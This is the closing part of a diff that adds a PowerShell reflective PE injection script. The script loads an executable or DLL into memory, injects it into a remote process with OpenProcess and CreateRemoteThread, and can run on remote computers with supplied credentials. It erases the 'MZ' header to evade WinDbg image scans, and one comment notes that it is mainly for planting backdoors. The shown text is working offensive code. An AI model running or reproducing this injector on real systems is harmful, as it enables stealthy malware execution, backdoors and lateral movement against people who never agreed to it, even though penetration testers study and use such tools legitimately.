+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
2625
+ }
2626
+ }
2627
+ elseif ($PEInfo.FileType -ieq "EXE")
2628
+ {
2629
+ #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
2630
+ [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
2631
+ [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
2632
+ $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
2633
+
2634
+ #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
2635
+ # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
2636
+ [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2637
+ Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
2638
+
2639
+ $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
2640
+
2641
+ while($true)
2642
+ {
2643
+ [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
2644
+ if ($ThreadDone -eq 1)
2645
+ {
2646
+ Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
2647
+ Write-Verbose "EXE thread has completed."
2648
+ break
2649
+ }
2650
+ else
2651
+ {
2652
+ Start-Sleep -Seconds 1
2653
+ }
2654
+ }
2655
+ }
2656
+
2657
+ return @($PEInfo.PEHandle, $EffectivePEHandle)
2658
+ }
2659
+
2660
+
2661
+ Function Invoke-MemoryFreeLibrary
2662
+ {
2663
+ Param(
2664
+ [Parameter(Position=0, Mandatory=$true)]
2665
+ [IntPtr]
2666
+ $PEHandle
2667
+ )
2668
+
2669
+ #Get Win32 constants and functions
2670
+ $Win32Constants = Get-Win32Constants
2671
+ $Win32Functions = Get-Win32Functions
2672
+ $Win32Types = Get-Win32Types
2673
+
2674
+ $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2675
+
2676
+ #Call FreeLibrary for all the imports of the DLL
2677
+ if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
2678
+ {
2679
+ [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
2680
+
2681
+ while ($true)
2682
+ {
2683
+ $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
2684
+
2685
+ #If the structure is null, it signals that this is the end of the array
2686
+ if ($ImportDescriptor.Characteristics -eq 0 `
2687
+ -and $ImportDescriptor.FirstThunk -eq 0 `
2688
+ -and $ImportDescriptor.ForwarderChain -eq 0 `
2689
+ -and $ImportDescriptor.Name -eq 0 `
2690
+ -and $ImportDescriptor.TimeDateStamp -eq 0)
2691
+ {
2692
+ Write-Verbose "Done unloading the libraries needed by the PE"
2693
+ break
2694
+ }
2695
+
2696
+ $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
2697
+ $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
2698
+
2699
+ if ($ImportDllHandle -eq $null)
2700
+ {
2701
+ Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
2702
+ }
2703
+
2704
+ $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
2705
+ if ($Success -eq $false)
2706
+ {
2707
+ Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
2708
+ }
2709
+
2710
+ $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
2711
+ }
2712
+ }
2713
+
2714
+ #Call DllMain with process detach
2715
+ Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
2716
+ $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2717
+ $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
2718
+ $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
2719
+
2720
+ $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
2721
+
2722
+
2723
+ $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
2724
+ if ($Success -eq $false)
2725
+ {
2726
+ Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
2727
+ }
2728
+ }
2729
+
2730
+
2731
+ Function Main
2732
+ {
2733
+ $Win32Functions = Get-Win32Functions
2734
+ $Win32Types = Get-Win32Types
2735
+ $Win32Constants = Get-Win32Constants
2736
+
2737
+ $RemoteProcHandle = [IntPtr]::Zero
2738
+
2739
+ #If a remote process to inject in to is specified, get a handle to it
2740
+ if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
2741
+ {
2742
+ Throw "Can't supply a ProcId and ProcName, choose one or the other"
2743
+ }
2744
+ elseif ($ProcName -ne $null -and $ProcName -ne "")
2745
+ {
2746
+ $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
2747
+ if ($Processes.Count -eq 0)
2748
+ {
2749
+ Throw "Can't find process $ProcName"
2750
+ }
2751
+ elseif ($Processes.Count -gt 1)
2752
+ {
2753
+ $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
2754
+ Write-Output $ProcInfo
2755
+ Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
2756
+ }
2757
+ else
2758
+ {
2759
+ $ProcId = $Processes[0].ID
2760
+ }
2761
+ }
2762
+
2763
+ #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
2764
+ #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
2765
+ # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
2766
+ # {
2767
+ # Write-Verbose "Getting SeDebugPrivilege"
2768
+ # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
2769
+ # }
2770
+
2771
+ if (($ProcId -ne $null) -and ($ProcId -ne 0))
2772
+ {
2773
+ $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
2774
+ if ($RemoteProcHandle -eq [IntPtr]::Zero)
2775
+ {
2776
+ Throw "Couldn't obtain the handle for process ID: $ProcId"
2777
+ }
2778
+
2779
+ Write-Verbose "Got the handle for the remote process to inject in to"
2780
+ }
2781
+
2782
+
2783
+ #Load the PE reflectively
2784
+ Write-Verbose "Calling Invoke-MemoryLoadLibrary"
2785
+ $PEHandle = [IntPtr]::Zero
2786
+ if ($RemoteProcHandle -eq [IntPtr]::Zero)
2787
+ {
2788
+ $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
2789
+ }
2790
+ else
2791
+ {
2792
+ $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
2793
+ }
2794
+ if ($PELoadedInfo -eq [IntPtr]::Zero)
2795
+ {
2796
+ Throw "Unable to load PE, handle returned is NULL"
2797
+ }
2798
+
2799
+ $PEHandle = $PELoadedInfo[0]
2800
+ $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
2801
+
2802
+
2803
+ #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
2804
+ $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2805
+ if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
2806
+ {
2807
+ #########################################
2808
+ ### YOUR CODE GOES HERE
2809
+ #########################################
2810
+ switch ($FuncReturnType)
2811
+ {
2812
+ 'WString' {
2813
+ Write-Verbose "Calling function with WString return type"
2814
+ [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
2815
+ if ($WStringFuncAddr -eq [IntPtr]::Zero)
2816
+ {
2817
+ Throw "Couldn't find function address."
2818
+ }
2819
+ $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
2820
+ $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
2821
+ [IntPtr]$OutputPtr = $WStringFunc.Invoke()
2822
+ $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
2823
+ Write-Output $Output
2824
+ }
2825
+
2826
+ 'String' {
2827
+ Write-Verbose "Calling function with String return type"
2828
+ [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
2829
+ if ($StringFuncAddr -eq [IntPtr]::Zero)
2830
+ {
2831
+ Throw "Couldn't find function address."
2832
+ }
2833
+ $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
2834
+ $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
2835
+ [IntPtr]$OutputPtr = $StringFunc.Invoke()
2836
+ $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
2837
+ Write-Output $Output
2838
+ }
2839
+
2840
+ 'Void' {
2841
+ Write-Verbose "Calling function with Void return type"
2842
+ [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
2843
+ if ($VoidFuncAddr -eq [IntPtr]::Zero)
2844
+ {
2845
+ Throw "Couldn't find function address."
2846
+ }
2847
+ $VoidFuncDelegate = Get-DelegateType @() ([Void])
2848
+ $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
2849
+ $VoidFunc.Invoke() | Out-Null
2850
+ }
2851
+ }
2852
+ #########################################
2853
+ ### END OF YOUR CODE
2854
+ #########################################
2855
+ }
2856
+ #For remote DLL injection, call a void function which takes no parameters
2857
+ elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
2858
+ {
2859
+ $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
2860
+ if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
2861
+ {
2862
+ Throw "VoidFunc couldn't be found in the DLL"
2863
+ }
2864
+
2865
+ $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
2866
+ $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
2867
+
2868
+ #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
2869
+ $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
2870
+ }
2871
+
2872
+ #Don't free a library if it is injected in a remote process or if it is an EXE.
2873
+ #Note that all DLL's loaded by the EXE will remain loaded in memory.
2874
+ if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
2875
+ {
2876
+ Invoke-MemoryFreeLibrary -PEHandle $PEHandle
2877
+ }
2878
+ else
2879
+ {
2880
+ #Delete the PE file from memory.
2881
+ $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
2882
+ if ($Success -eq $false)
2883
+ {
2884
+ Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
2885
+ }
2886
+ }
2887
+
2888
+ Write-Verbose "Done!"
2889
+ }
2890
+
2891
+ Main
2892
+ }
2893
+
2894
+ #Main function to either run the script locally or remotely
2895
+ Function Main
2896
+ {
2897
+ if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
2898
+ {
2899
+ $DebugPreference = "Continue"
2900
+ }
2901
+
2902
+ Write-Verbose "PowerShell ProcessID: $PID"
2903
+
2904
+ if ($PsCmdlet.ParameterSetName -ieq "LocalFile")
2905
+ {
2906
+ Get-ChildItem $PEPath -ErrorAction Stop | Out-Null
2907
+ [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath))
2908
+ }
2909
+
2910
+ #Verify the image is a valid PE file
2911
+ $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
2912
+
2913
+ if ($e_magic -ne 'MZ')
2914
+ {
2915
+ throw 'PE is not a valid PE file.'
2916
+ }
2917
+
2918
+ # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
2919
+ # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
2920
+ $PEBytes[0] = 0
2921
+ $PEBytes[1] = 0
2922
+
2923
+ #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)
2924
+ if ($ExeArgs -ne $null -and $ExeArgs -ne '')
2925
+ {
2926
+ $ExeArgs = "ReflectiveExe $ExeArgs"
2927
+ }
2928
+ else
2929
+ {
2930
+ $ExeArgs = "ReflectiveExe"
2931
+ }
2932
+
2933
+ if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
2934
+ {
2935
+ Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
2936
+ }
2937
+ else
2938
+ {
2939
+ Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName -Credential $Credential
2940
+ }
2941
+ }
2942
+
2943
+ Main
2944
+ }
2945
+ Invoke-ReflectivePEInjection